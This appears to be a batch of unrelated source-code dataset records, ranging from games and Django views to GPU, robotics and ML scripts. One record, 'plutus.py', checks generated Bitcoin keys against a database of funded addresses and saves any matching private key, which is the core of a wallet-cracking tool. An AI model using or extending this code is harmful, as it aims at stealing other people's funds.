start_game():\n state = list(\"_________\")\n player_one, player_two = determine_game_type()\n play_game(state, player_one, player_two)\n\n\ndef play_game(state, player_one, player_two):\n\n print_field(state)\n while True:\n if not check_state(player_one(state)):\n print_field(state)\n else:\n break\n if not check_state(player_two(state)):\n print_field(state)\n else:\n break\n start_game()\n\n\ndef determine_game_type():\n fun_choices = {'easy': easy_move, 'user': human_move, 'medium': medium_move, 'hard': hard_move}\n while True:\n input_list = [i for i in input(\"Input command:\").split()]\n if input_list[0] == \"exit\":\n exit(0)\n elif len(input_list) != 3 or input_list[1] not in fun_choices.keys() or input_list[2] not in fun_choices.keys()\\\n or input_list[0] not in [\"exit\", \"start\"]:\n print(\"Bad parameters!\")\n else:\n return fun_choices.get(input_list[1], incorrect_input), fun_choices.get(input_list[2], incorrect_input)\n\n\ndef incorrect_input():\n print(\"Incorrect input, try again\\n\")\n\n\ndef available_moves(board):\n return [p for p, char in enumerate(board) if char == \"_\"]\n\n\ndef winning(board, player):\n wins = [board[:3], board[3:6], board[6:], board[0:9:3], board[1:9:3], board[2:9:3], board[0:9:4], board[2:7:2]]\n return \"\".join(player*3) in wins\n\n\ndef board_state(board, player):\n wins = [board[:3], board[3:6], board[6:], board[0:9:3], board[1:9:3], board[2:9:3], board[0:9:4], board[2:7:2]]\n if player == \"X\":\n other_player = \"O\"\n else:\n other_player = \"X\"\n\n if \"\".join(player*3) in wins:\n return 10\n elif \"\".join(other_player*3) in wins:\n return -10\n elif board.count(\"_\") == 0:\n return 0\n\n\nstart_game()\n","sub_path":"hard/Tic Tac Toe/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":6225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"389307880","text":"import json\n\nfrom django.contrib import messages\nfrom django.template.response import TemplateResponse\nfrom django.shortcuts import get_object_or_404\nfrom django.utils.translation import pgettext_lazy\nfrom impersonate.views import impersonate as orig_impersonate\n\nfrom ..account.models import User\nfrom ..dashboard.views import staff_member_required\nfrom ..product.utils import (products_for_homepage, get_product_list_context,\n products_with_details)\nfrom ..page.utils import pages_visible_to_user\nfrom ..product.utils.availability import products_with_availability\nfrom ..product.filters import SimpleFilter\nfrom ..seo.schema.webpage import get_webpage_schema\n\n\ndef home(request):\n products = products_for_homepage()[:8]\n products = products_with_availability(\n products, discounts=request.discounts, taxes=request.taxes,\n local_currency=request.currency)\n webpage_schema = get_webpage_schema(request)\n return TemplateResponse(\n request, 'home.html', {\n 'parent': None,\n 'products': products,\n 'webpage_schema': json.dumps(webpage_schema)})\n\ndef arrivals(request):\n products = products_with_details(user=request.user).order_by(\n '-created_at')\n product_filter = SimpleFilter(request.GET, queryset=products)\n ctx = get_product_list_context(request, product_filter)\n new_arrivals_page = get_object_or_404(\n pages_visible_to_user(user=request.user).filter(\n slug='new-arrivals'))\n request.META['HTTP_PRODUCTS'] = ctx['products']\n ctx.update({'page':new_arrivals_page})\n return TemplateResponse(request, 'collection/arrivals.html', ctx)\n\n\n\n@staff_member_required\ndef styleguide(request):\n return TemplateResponse(request, 'styleguide.html')\n\n\ndef impersonate(request, uid):\n response = orig_impersonate(request, uid)\n if request.session.modified:\n msg = pgettext_lazy(\n 'Impersonation message',\n 'You are now logged as {}'.format(User.objects.get(pk=uid)))\n messages.success(request, msg)\n return response\n\n\ndef handle_404(request, exception=None):\n return TemplateResponse(request, '404.html', status=404)\n\n\ndef manifest(request):\n return TemplateResponse(\n request, 'manifest.json', content_type='application/json')\n","sub_path":"saleor/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"429036349","text":"# Python Programming.\n# Homework 2, problem 2\n# Instructor: Dr. Ionut Cardei\n# Do not distribute.\n\n# a)\ndef no_vowels(s):\n \"\"\"Returns s with all vowels removed.\"\"\"\n vowels = \"aeiou\"\n novwls = list()\n for letter in s:\n if not letter in vowels:\n novwls.append(letter)\n return \"\".join(novwls)\n\n\n\n# b)\ndef find_dup(s, n):\n \"\"\"It takes as parameter a string s and an integer n and that returns a\n substring of s of length n that is duplicated with no overlap in s.\n If no such string exists then the function returns ''.\n \"\"\"\n if n < 0:\n print(\"find_dup ERROR: n < 0\")\n return \"\"\n \n # start with n-length substring from index 0:\n for i in range(0, len(s) - n - n + 1):\n if s.find(s[i:i+n], i + n) > 0:\n return s[i:i+n]\n # the function works also if n==0, returning \"\".\n return \"\"\n\n# c)\n\ndef main():\n s = \"Python rules!\"\n result = no_vowels(s)\n if no_vowels(s) != \"Pythn rls!\":\n print(\"no_vowels failed for s=\" + s)\n else:\n print(\"no_vowels('{}') == {}\".format(s, result))\n\n\n s2 = \"abcdebcdfgh\"\n if find_dup(s2, 3) != \"bcd\":\n print(\"find_dup failed for case: find_dup({}, 3)\".format(s2))\n else:\n print(\"find_dup({}, 3) success\".format(s2))\n\n s3 = \"abcdebcdfgh\"\n if find_dup(s2, 4) != \"\":\n print(\"find_dup failed for case: find_dup({}, 4)\".format(s3))\n else:\n print(\"find_dup({}, 4) success\".format(s3))\n\n# NOTE: using this type of testing is tedious\n# later we will use a trivial unit testing function called \"testif\" that\n# will simplify this task.\n\n\n\nif __name__ == \"__main__\":\n main()\n \n","sub_path":"Module 2/h2-solutions/p2.py","file_name":"p2.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"346542420","text":"#Core: takes input and reads entry based on input for inky pHAT\n\n#tools\nfrom inky import InkyPHAT\nfrom PIL import Image, ImageFont, ImageDraw\n\n#retrieves definition, formats it and print it on inky\ndef inkyGetPrintDef():\n #boilerplate code for ink pHAT\n inky_display = InkyPHAT('red')\n inky_display.set_border(inky_display.WHITE)\n #screen dimension variable\n img = Image.new('P', (inky_display.WIDTH, inky_display.HEIGHT))\n draw = ImageDraw.Draw(img)\n \n #searches for the word then returns the next line (Definition) as a str\n i = lines[lines.index(word) + 1]\n #takes that str and sets proper variables\n #font select\n fontpath = '/home/pi/Desktop/MyCode/Fonts/'\n font = ImageFont.truetype(fontpath + 'SF-Outer-Limits.ttf', 17)\n #message construction\n message = ' '+ word + '\\n' + i\n #grid variables: start in top left corner\n x = 0\n y = 0\n # uses variables to package str and send to screen\n #\n draw.text((x, y), message, inky_display.RED, font)\n inky_display.set_image(img)\n inky_display.show()\n\n#core program\nwhile True:\n # gets word to look up or quit command\n word = input('word: ')\n if word in ['Quit']:\n break\n else:\n #opens dictionary (ConlangDatabase.txt) for search\n with open('/home/pi/Desktop/ConlangDatabase.txt', 'r') as f:\n lines = [line.replace('\\n', '') for line in f.readlines()]\n inkyGetPrintDef()","sub_path":"Old/1.0/language-project-inky-pHAT/inkyReadDictionary.py","file_name":"inkyReadDictionary.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"288287289","text":"#Kinetic Energy\n\nimport pyopencl as cl # Import the OpenCL GPU computing API\nimport pyopencl.array as pycl_array # Import PyOpenCL Array \n#(a Numpy array plus an OpenCL buffer object)\n\nimport numpy as np # Import Numpy number tools\n\ncontext = cl.create_some_context() # Initialize the Context\nqueue = cl.CommandQueue(context) # Instantiate a Queue\n\nnumber_of_particles = 1_000_000\n\n# Create two random pyopencl arrays\nm = pycl_array.to_device(queue, np.random.rand(number_of_particles).astype(np.float32))\nvx = pycl_array.to_device(queue, np.random.rand(number_of_particles).astype(np.float32)) \nvy = pycl_array.to_device(queue, np.random.rand(number_of_particles).astype(np.float32)) \nvz = pycl_array.to_device(queue, np.random.rand(number_of_particles).astype(np.float32)) \n\nenergy_k = pycl_array.empty_like(m) # Create an empty pyopencl destination array\n\nprogram = cl.Program(context, \"\"\"\n__kernel void kenergy(__global const float *m, __global const float *vx, __global float *vy, \n__global float *vz, __global float *energy_k)\n{\n int i = get_global_id(0);\n energy_k[i] = 0.5 * m[i] * (vx[i] * vx[i] + vy[i] * vy[i] + vz[i] * vz[i]);\n}\"\"\").build() # Create the OpenCL program\n\n# Enqueue the program for execution and store the result in c\nprogram.kenergy(queue, m.shape, None, m.data, vx.data, vy.data, vz.data, energy_k.data) \n\ntotal_energy_k = cl.array.sum(energy_k, dtype=None, queue=None, slice=None)\n\nprint(\"m: {}\".format(m))\nprint(\"vx: {}\".format(vx))\nprint(\"vy: {}\".format(vy)) \nprint(\"vz: {}\".format(vz))\nprint(\"energy_k: {}\".format(energy_k))\nprint(\"total_energy_k: {}\".format(total_energy_k))\n\n","sub_path":"hw10/sol10.py","file_name":"sol10.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"615985570","text":"import time\nimport io\nimport threading\nimport picamera\n\n\nclass Camera(object):\n \"\"\"Camera class\"\"\"\n\n thread = None # thread reading frames\n img = None # img saved by background thread\n last_access = 0 # time of last img sent\n activeClient = False # used for limiting number of clients to only one\n shouldStop = False\n\n def __init__(self, car):\n self.car = car\n\n def get_img(self):\n \"\"\"dsa\"\"\"\n self.last_access = time.time()\n # is the thread running?\n if self.thread is None:\n # start background thread\n self.thread = threading.Thread(target=self.back_thread)\n self.thread.start()\n\n # wait until frames are available\n while self.img is None:\n time.sleep(0)\n # print(\"returning frame\")\n\n return self.img\n\n def back_thread(self):\n \"\"\"\"\"\"\n print(\"Camera thead started\")\n with picamera.PiCamera() as camera:\n # camera setup\n camera.resolution = (320, 240)\n\n time.sleep(2) # camera needs some time to get ready\n\n stream = io.BytesIO()\n for foo in camera.capture_continuous(stream, 'jpeg', use_video_port=True):\n # store the frame\n stream.seek(0)\n self.img = stream.read()\n time.sleep(0)\n\n # reset for next frame\n stream.seek(0)\n stream.truncate()\n # calculate the time between last and actual request for img\n diff = time.time() - self.last_access\n # if the time is higher than 0.5s stop the car\n if diff < 0.5:\n self.shouldStop = False\n # print(\"Going again\")\n else:\n print(\"Stopping\")\n self.shouldStop = True\n self.car.stop()\n # if the diff is more than 4 seconds the client has probably disconnected so stop the thread\n if diff > 4:\n self.activeClient = False\n print(\"Stopping Camer thread\")\n break\n\n self.img = None\n self.thread = None\n","sub_path":"PIcamera.py","file_name":"PIcamera.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"396425702","text":"import os\nimport pickle\nimport hashlib\nimport binascii\n\nDATABASE = r'database/JUNE_9_2021/'\n\ndef read_database():\n\t\"\"\"\n\tDeserialize the database and read into a list of sets for easier selection \n\tand O(1) complexity. Initialize the multiprocessing to target the main \n\tfunction with cpu_count() concurrent processes.\n\t\"\"\"\n\tdatabase = [set() for _ in range(4)]\n\tcount = len(os.listdir(DATABASE))\n\thalf = count // 2\n\tquarter = half // 2\n\tfor c, p in enumerate(os.listdir(DATABASE)):\n\t\tprint('\\rreading database: ' + str(c + 1) + '/' + str(count), end=' ')\n\t\twith open(DATABASE + p, 'rb') as file:\n\t\t\tif c < half:\n\t\t\t\tif c < quarter:\n\t\t\t\t\tdatabase[0] = database[0] | set(pickle.load(file))\n\t\t\t\telse:\n\t\t\t\t\tdatabase[1] = database[1] | set(pickle.load(file))\n\t\t\telse:\n\t\t\t\tif c < half + quarter:\n\t\t\t\t\tdatabase[2] = database[2] | set(pickle.load(file))\n\t\t\t\telse:\n\t\t\t\t\tdatabase[3] = database[3] | set(pickle.load(file))\n\tprint('DONE')\n\n\t# To verify the database size, remove the # from the line below\n\t#print('database size: ' + str(sum(len(i) for i in database))); quit()\n\n\treturn database\n\ndef private_key_to_WIF(private_key):\n\t\"\"\"\n\tConvert the hex private key into Wallet Import Format for easier wallet \n\timporting. This function is only called if a wallet with a balance is \n\tfound. Because that event is rare, this function is not significant to the \n\tmain pipeline of the program and is not timed.\n\t\"\"\"\n\tdigest = hashlib.sha256(binascii.unhexlify('80' + private_key)).hexdigest()\n\tvar = hashlib.sha256(binascii.unhexlify(digest)).hexdigest()\n\tvar = binascii.unhexlify('80' + private_key + var[0:8])\n\talphabet = chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\n\tvalue = pad = 0\n\tresult = ''\n\tfor i, c in enumerate(var[::-1]):\n\t\tvalue += 256**i * c\n\twhile value >= len(alphabet):\n\t\tdiv, mod = divmod(value, len(alphabet))\n\t\tresult, value = chars[mod] + result, div\n\tresult = chars[value] + result\n\tfor c in var:\n\t\tif c == 0:\n\t\t\tpad += 1\n\t\telse:\n\t\t\tbreak\n\treturn chars[0] * pad + result\n\ndef process(private_key, public_key, address, database, words = \"\"):\n\t\"\"\"\n\tAccept an address and query the database. If the address is found in the \n\tdatabase, then it is assumed to have a balance and the wallet data is \n\twritten to the hard drive. If the address is not in the database, then it \n\tis assumed to be empty and printed to the user.\n\tAverage Time: 0.0000026941 seconds\n\t\"\"\"\n\tif address in database[0] or \\\n\t address in database[1] or \\\n\t address in database[2] or \\\n\t address in database[3]:\n\t\twith open('plutus.txt', 'a') as file:\n\t\t\tfile.write('hex private key: ' + str(private_key) + '\\n' +\n\t\t\t\t\t 'WIF private key: ' + str(private_key_to_WIF(private_key)) + '\\n' +\n\t\t\t\t\t 'public key: ' + str(public_key) + '\\n' +\n\t\t\t\t\t 'words: ' + str(words) + '\\n' +\n\t\t\t\t\t 'address: ' + str(address) + '\\n\\n')\n\t\t\tprint('found!')\n\t#else:\n\t# pass\n\t# #print(str(address))","sub_path":"plutus.py","file_name":"plutus.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"193111658","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\n\nfrom setuptools import setup, find_packages\n\nversion = '2.0'\n\nsetup(\n name='zalando-turnstile',\n packages=find_packages(),\n version=version,\n description='Turnstile - Zalando Local Git Hooks (META PACKAGE)',\n author='Zalando SE',\n url='https://github.com/zalando/turnstile-zalando',\n license='Apache License Version 2.0',\n install_requires=['turnstile-core', 'turnstile-codevalidator'],\n classifiers=[\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.4',\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'Operating System :: OS Independent',\n 'Topic :: Software Development :: Version Control',\n ],\n long_description='Turnstile - Zalando Local Git Hooks',\n)\n\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"170714135","text":"\"\"\"\nhttps://leetcode.com/problems/kth-largest-element-in-an-array/\n\nHeap the nums, then pop k. \nTime complexity: N + KlogN\n\"\"\"\n\nclass Solution:\n def findKthLargest(self, nums: List[int], k: int) -> int:\n heap = [-x for x in nums]\n heapq.heapify(heap)\n res = 0\n for _ in range(k):\n res = heapq.heappop(heap)\n return -res","sub_path":"0215_KthLargestElementInAnArray.py","file_name":"0215_KthLargestElementInAnArray.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"21603790","text":"import cellClasses # Define classes\n\n\ndef make_stim_cells(numExc, numInhDend, numInhSoma, stPer): # local i,j localobj cell, nc, nil\n lcl_excStimcell_list = []\n lcl_inhDendStimcell_list = []\n lcl_inhSomaStimcell_list = []\n cells = []\n \n for r in range (numExc):\n cell = cellClasses.stimcell()\n cell.pp.start = 0\n cell.pp.interval = stPer\n lcl_excStimcell_list.append(cell)\n cells.append(cell)\n\n for r in range (numInhDend):\n cell = cellClasses.stimcell()\n cell.pp.interval = stPer*2\n cell.pp.start = stPer/2\n lcl_inhDendStimcell_list.append(cell)\n cells.append(cell)\n\n for r in range (numInhSoma):\n cell = cellClasses.stimcell()\n cell.pp.interval = stPer*2\n cell.pp.start = stPer/2+stPer\n lcl_inhSomaStimcell_list.append(cell)\n cells.append(cell)\n\n return lcl_excStimcell_list, lcl_inhDendStimcell_list, lcl_inhSomaStimcell_list, cells\n","sub_path":"researchproject/define_stimcells.py","file_name":"define_stimcells.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"88045332","text":"import math\nimport numpy as np\nfrom sympy import symbols, cos, sin, pi, simplify\nfrom sympy.matrices import Matrix\n\nd1, d2, d3, d4, d5, d6, d7 = symbols('d1:8') # link offset\na0, a1, a2, a3, a4, a5, a6 = symbols('a0:7') # link length\nalpha0, alpha1, alpha2, alpha3, alpha4, alpha5, alpha6 = symbols('alpha0:7') # twist angle\nq1, q2, q3, q4, q5, q6, q7 = symbols('q1:8') # joint angle symbols\n\nDH_Table = {alpha0: 0, a0: 0, d1: 0.75, q1: 0,\n alpha1: -pi/2., a1: 0.35, d2: 0, q2: -pi/2. + q2,\n alpha2: 0, a2: 1.25, d3: 0,\n alpha3: -pi/2., a3: -0.054, d4: 1.5,\n alpha4: pi/2., a4: 0, d5: 0,\n alpha5: -pi/2., a5: 0, d6: 0,\n alpha6: 0, a6: 0, d7: 0.303, q7: 0}\n\n # Define Modified DH Transformation matrix\n\n\ndef TF_Matrix(alpha, a, d, q):\n TF = Matrix([[cos(q), -sin(q), 0, a],\n [sin(q)*cos(alpha), cos(q)*cos(alpha), -sin(alpha), -sin(alpha)*d],\n [sin(q)*sin(alpha), cos(q)*sin(alpha), cos(alpha), cos(alpha)*d],\n [0, 0, 0, 1]])\n return TF\n\n # Create individual transformation matrices\nT0_1 = TF_Matrix(alpha0, a0, d1, q1).subs(DH_Table)\nT1_2 = TF_Matrix(alpha1, a1, d2, q2).subs(DH_Table)\nT2_3 = TF_Matrix(alpha2, a2, d3, q3).subs(DH_Table)\nT3_4 = TF_Matrix(alpha3, a3, d4, q4).subs(DH_Table)\nT4_5 = TF_Matrix(alpha4, a4, d5, q5).subs(DH_Table)\nT5_6 = TF_Matrix(alpha5, a5, d6, q6).subs(DH_Table)\nT6_EE = TF_Matrix(alpha6, a6, d7, q7).subs(DH_Table)\nT0_EE = T0_1 * T1_2 * T2_3 * T3_4 * T4_5 * T5_6 * T6_EE\n\n# Incrementally build homogeneous transforms\nT0_2 = simplify(T0_1 * T1_2)\nT0_3 = simplify(T0_2 * T2_3)\nT0_4 = simplify(T0_3 * T3_4)\nT0_5 = simplify(T0_4 * T4_5)\nT0_6 = simplify(T0_5 * T5_6)\nT0_EE = simplify(T0_6 * T6_EE)\n\n# Orientation correction between DH Table vs the URDF parameters\ny = pi\np = - pi/2\n\nROT_z = Matrix([[cos(y), -sin(y), 0, 0],\n [sin(y), cos(y), 0, 0],\n [0, 0, 1, 0],\n [0, 0, 0, 1]])\n\nROT_y = Matrix([[cos(p), 0, sin(p), 0],\n [0, 1, 0, 0],\n [-sin(p), 0, cos(p), 0],\n [0, 0, 0, 1]]) # PITCH about the y axis\n\nRot_corr = simplify(ROT_z * ROT_y)\n\n\nprint(\"T0_1: \", T0_1.evalf(subs={q1: 0, q2: 0, q3: 0, q4: 0, q5: 0, q6: 0}))\nprint(\"T0_2: \", T0_2.evalf(subs={q1: 0, q2: 0, q3: 0, q4: 0, q5: 0, q6: 0}))\nprint(\"T0_3: \", T0_3.evalf(subs={q1: 0, q2: 0, q3: 0, q4: 0, q5: 0, q6: 0}))\nprint(\"T0_4: \", T0_4.evalf(subs={q1: 0, q2: 0, q3: 0, q4: 0, q5: 0, q6: 0}))\nprint(\"T0_5: \", T0_5.evalf(subs={q1: 0, q2: 0, q3: 0, q4: 0, q5: 0, q6: 0}))\nprint(\"T0_6: \", T0_6.evalf(subs={q1: 0, q2: 0, q3: 0, q4: 0, q5: 0, q6: 0}))\nprint(\"T0_EE: \", T0_EE.evalf(subs={q1: 0, q2: 0, q3: 0, q4: 0, q5: 0, q6: 0}))\n\n# Orientation correction applied to homogeneous transform between base link and end effector\nT_Total = simplify(T0_EE.evalf(subs={q1: 0, q2: 0, q3: 0, q4: 0, q5: 0, q6: 0}) * Rot_corr)\nprint(\"T_Total: \", T_Total)\n\nr, p, y = symbols('r p y')\n\nROT_x = Matrix([[1, 0, 0],\n [0, cos(r), -sin(r)],\n [0, sin(r), cos(r)]]) #ROLL\n\nROT_y = Matrix([[cos(p), 0, sin(p)],\n [0, 1, 0],\n [-sin(p), 0, cos(p)]]) #PITCH\n\n\nROT_z = Matrix([[cos(y), -sin(y), 0],\n [sin(y), cos(y), 0],\n [0, 0, 1]]) #YAW\n\nROT_EE = ROT_z * ROT_y * ROT_x\n","sub_path":"ht.py","file_name":"ht.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"516353467","text":"import torch\r\nimport argparse\r\nimport torch.utils.data\r\nfrom model.coordmodel import Model\r\nfrom datasets.dataset import CoordDataset\r\nfrom PIL import Image\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nfrom utils.util import compute_nme\r\nfrom torch.utils.tensorboard import SummaryWriter\r\n\r\n\r\ndef train(opt, train_dataloader, val_dataloader, model):\r\n # writer = SummaryWriter('./logs')\r\n iter = 0\r\n val_dst_min = 1000\r\n for epoch in range(opt.epoch):\r\n loss = 0\r\n count = 0\r\n dst = 0\r\n nme_sum = 0\r\n for i, data in enumerate(train_dataloader):\r\n count += 1\r\n model.set_input(data[0], data[1], data[2])\r\n ori_size = data[2]['ori']\r\n pts = data[2]['pts'].numpy()[0]\r\n ps = data[2]['ps'].numpy()[0][0]\r\n model.optimize_parameters()\r\n loss += model.loss\r\n model.getHeatmap()\r\n prepts, precoord = model.getPreCoord()\r\n tpts = data[2]['tpts'].numpy()[0]\r\n nme_batch = compute_nme(prepts, pts)\r\n nme_sum += nme_batch\r\n dst += np.array(np.mean(np.sqrt(np.sum(np.square(prepts - tpts), axis=1)))) * \\\r\n [float(ori_size) / float(256)] * ps\r\n\r\n target_img, pre_img = model.getHeatmap()\r\n dst = dst / count\r\n nme = nme_sum / count\r\n # print(nme)\r\n # print(tpts)\r\n # print(dst)\r\n # print(precoord)\r\n # target_img = np.array(target_img[0, :, :, :])\r\n # pre_img = np.array(pre_img[0, :, :, :])\r\n # fig = plt.figure()\r\n # sns_plot = sns.heatmap(target_img.sum(axis=0))\r\n # fig.savefig('./logs/img/' + str(epoch) + '_' + str(i) + '_1.png', bbox_inches='tight')\r\n # plt.close()\r\n # fig = plt.figure()\r\n # sns_plot = sns.heatmap(pre_img.sum(axis=0))\r\n # fig.savefig('./logs/img/' + str(epoch) + '_' + str(i) + '_2.png', bbox_inches='tight')\r\n # plt.close()\r\n mean_loss = loss / count\r\n # writer.add_scalar('epoch', mean_loss, epoch)\r\n print(\"epoch:{}, mean_loss:{}, lr:{}\".format(epoch, mean_loss, model.scheduler.get_lr()))\r\n val_dst = validate(epoch, val_dataloader, model)\r\n if val_dst < val_dst_min:\r\n val_dst_min = val_dst\r\n model.save_network(model.net, 0, opt.gpu_ids)\r\n print('val_dst update')\r\n model.update_learning_rate()\r\n\r\n\r\ndef validate(epoch, dataloader, model):\r\n count = 0\r\n nme_sum = 0\r\n dst = 0\r\n for i, data in enumerate(dataloader):\r\n count += 1\r\n model.set_input(data[0], data[1], data[2])\r\n model.test()\r\n ori_size = data[2]['ori']\r\n pts = data[2]['pts'].numpy()[0]\r\n ps = data[2]['ps'].numpy()[0][0]\r\n model.getHeatmap()\r\n prepts, precoord = model.getPreCoord()\r\n tpts = data[2]['tpts'].numpy()[0]\r\n nme_batch = compute_nme(prepts, pts)\r\n nme_sum += nme_batch\r\n dst += np.array(np.mean(np.sqrt(np.sum(np.square(prepts - tpts), axis=1)))) * \\\r\n [float(ori_size) / float(256)] * ps\r\n target_img, pre_img = model.getHeatmap()\r\n dst = dst / count\r\n nme = nme_sum / count\r\n print(\"val dst:{}, nme:{}\".format(dst, nme))\r\n # target_img = np.array(target_img[0, :, :, :])\r\n # pre_img = np.array(pre_img[0, :, :, :])\r\n # fig = plt.figure()\r\n # sns_plot = sns.heatmap(target_img.sum(axis=0))\r\n # fig.savefig('./logs/img/' + str(epoch) + '_' + str(i) + '_3.png', bbox_inches='tight')\r\n # plt.close()\r\n # fig = plt.figure()\r\n # sns_plot = sns.heatmap(pre_img.sum(axis=0))\r\n # fig.savefig('./logs/img/' + str(epoch) + '_' + str(i) + '_4.png', bbox_inches='tight')\r\n # plt.close()\r\n return dst\r\n\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('--train_path', type=str, default=r'F:\\DATA\\Lumbar\\train')\r\n parser.add_argument('--train_json', type=str, default=r'F:\\DATA\\Lumbar\\train.json')\r\n parser.add_argument('--val_path', type=str, default=r'F:\\DATA\\Lumbar\\lumbar_train51\\train')\r\n parser.add_argument('--val_json', type=str, default=r'F:\\DATA\\Lumbar\\lumbar_train51_annotation.json')\r\n parser.add_argument('--checkpoints_dir', type=str, default='./checkpoint/1')\r\n parser.add_argument('--isTrain', type=bool, default=True)\r\n parser.add_argument('--continue_train', type=bool, default=False)\r\n parser.add_argument('--batchsize', type=int, default=1, help='input batch size')\r\n parser.add_argument('--epoch', type=int, default=100, help='epoch')\r\n parser.add_argument('--gpu_ids', type=str, default='0', help='gpu ids: e.g. 0 0,1,2, 0,2. use -1 for CPU')\r\n parser.add_argument('--beta1', type=float, default=0.5, help='momentum term of adam')\r\n parser.add_argument('--lr', type=float, default=0.001, help='initial learning rate for adam')\r\n opt = parser.parse_args()\r\n train_dataset = CoordDataset(opt.train_path, opt.train_json, is_flip=True, is_rot=True, is_train=True)\r\n val_dataset = CoordDataset(opt.val_path, opt.val_json, is_flip=False, is_rot=False, is_train=False)\r\n train_dataloader = torch.utils.data.DataLoader(dataset=train_dataset, batch_size=opt.batchsize, shuffle=True)\r\n val_dataloader = torch.utils.data.DataLoader(dataset=val_dataset, batch_size=opt.batchsize, shuffle=True)\r\n model = Model(opt)\r\n train(opt, train_dataloader, val_dataloader, model)\r\n","sub_path":"code_zjx_round2_pytorch/model/coordtrain.py","file_name":"coordtrain.py","file_ext":"py","file_size_in_byte":5454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"106094660","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom coeffs import *\n\nfig = plt.figure()\nax = fig.add_subplot(111, aspect='equal')\n\nP = np.array([2**0.5,3**0.5])\nS1 = np.array([2,0])\nS2 = np.array([-2,0])\nO = np.array([0,0])\nomat = np.array(([0,1],[-1,0]))\n\nPS1 = np.linalg.norm(P - S1)\nPS2 = np.linalg.norm(P - S2)\n\na = (np.absolute(PS1 -PS2))*0.5\ne = np.linalg.norm(S1 -S2)/2*a\n\nb = np.sqrt((a**2)*((e**2) - 1))\n\nV = np.array(([a**-2,0],[0,-1*b**-2]))\n\neigval,eigvec = np.linalg.eig(V)\nD = np.diag(eigval)\nG = eigvec\n\nlen = 1000\n\ny1 = np.linspace(-3,3,len)\ny2 = np.sqrt((1 - V[0,0]*np.power(y1,2))/V[1,1])\ny3 = -1*np.sqrt((1 - V[0,0]*np.power(y1,2))/V[1,1])\ny = np.hstack((np.vstack((y1,y2)),np.vstack((y1,y3))))\nplt.plot(y[0,:len],y[1,:len],color='g',label='Hyperbola')\nplt.plot(y[0,len+1:],y[1,len+1:],color='g')\nn = V@P\nm = omat@n\n\nP = np.array([2**0.5,3**0.5])\nT = line_dir_pt(m,P,-3,3)\nplt.plot(T[0,:],T[1,:],label='Tangent at P')\nplt.plot(P[0],P[1],'o')\nplt.text(P[0] * (1 + 0.03), P[1] * (1 - 0.1) , 'P')\nprint(n,'x=',n@P)\nax.plot()\nplt.xlabel('$x$')\nplt.ylabel('$y$')\nplt.legend(loc=1)\nplt.grid() # minor\nplt.axis('equal')\nplt.show()\n","sub_path":"ex-con2.py","file_name":"ex-con2.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"475100144","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: mysql\\connector\\fabric\\balancing.pyc\n# Compiled at: 2014-07-26 22:44:23\n\"\"\"Implementing load balancing\"\"\"\nimport decimal\n\ndef _calc_ratio(part, whole):\n return int((part / whole * 100).quantize(decimal.Decimal('1'), rounding=decimal.ROUND_HALF_DOWN))\n\n\nclass WeightedRoundRobin(object):\n \"\"\"Class for doing Weighted Round Robin balancing\"\"\"\n\n def __init__(self, *args):\n \"\"\"Initializing\"\"\"\n self._members = []\n self._sum_weights = 0\n self._ratios = []\n self._load = []\n if args:\n self.set_members(*args)\n\n @property\n def members(self):\n \"\"\"Returns the members of this loadbalancer\"\"\"\n return self._members\n\n @property\n def ratios(self):\n \"\"\"Returns the ratios for all members\"\"\"\n return self._ratios\n\n @property\n def load(self):\n \"\"\"Returns the current load\"\"\"\n return self._load\n\n def set_members(self, *args):\n \"\"\"Set members and ratios\n\n This methods sets thes members using the arguments passed. Each\n argument must be a sequence second item is the weight. The first\n element is an identifier. For example:\n\n ('server1', 0.6), ('server2', 0.8)\n\n Setting members means that the load will be reset. If the members\n are the same as previously set, nothing will be reset or set.\n\n Raises ValueError when weight can't be converted to a Decimal.\n \"\"\"\n new_members = []\n for member in args:\n member = list(member)\n try:\n member[1] = decimal.Decimal(str(member[1]))\n except 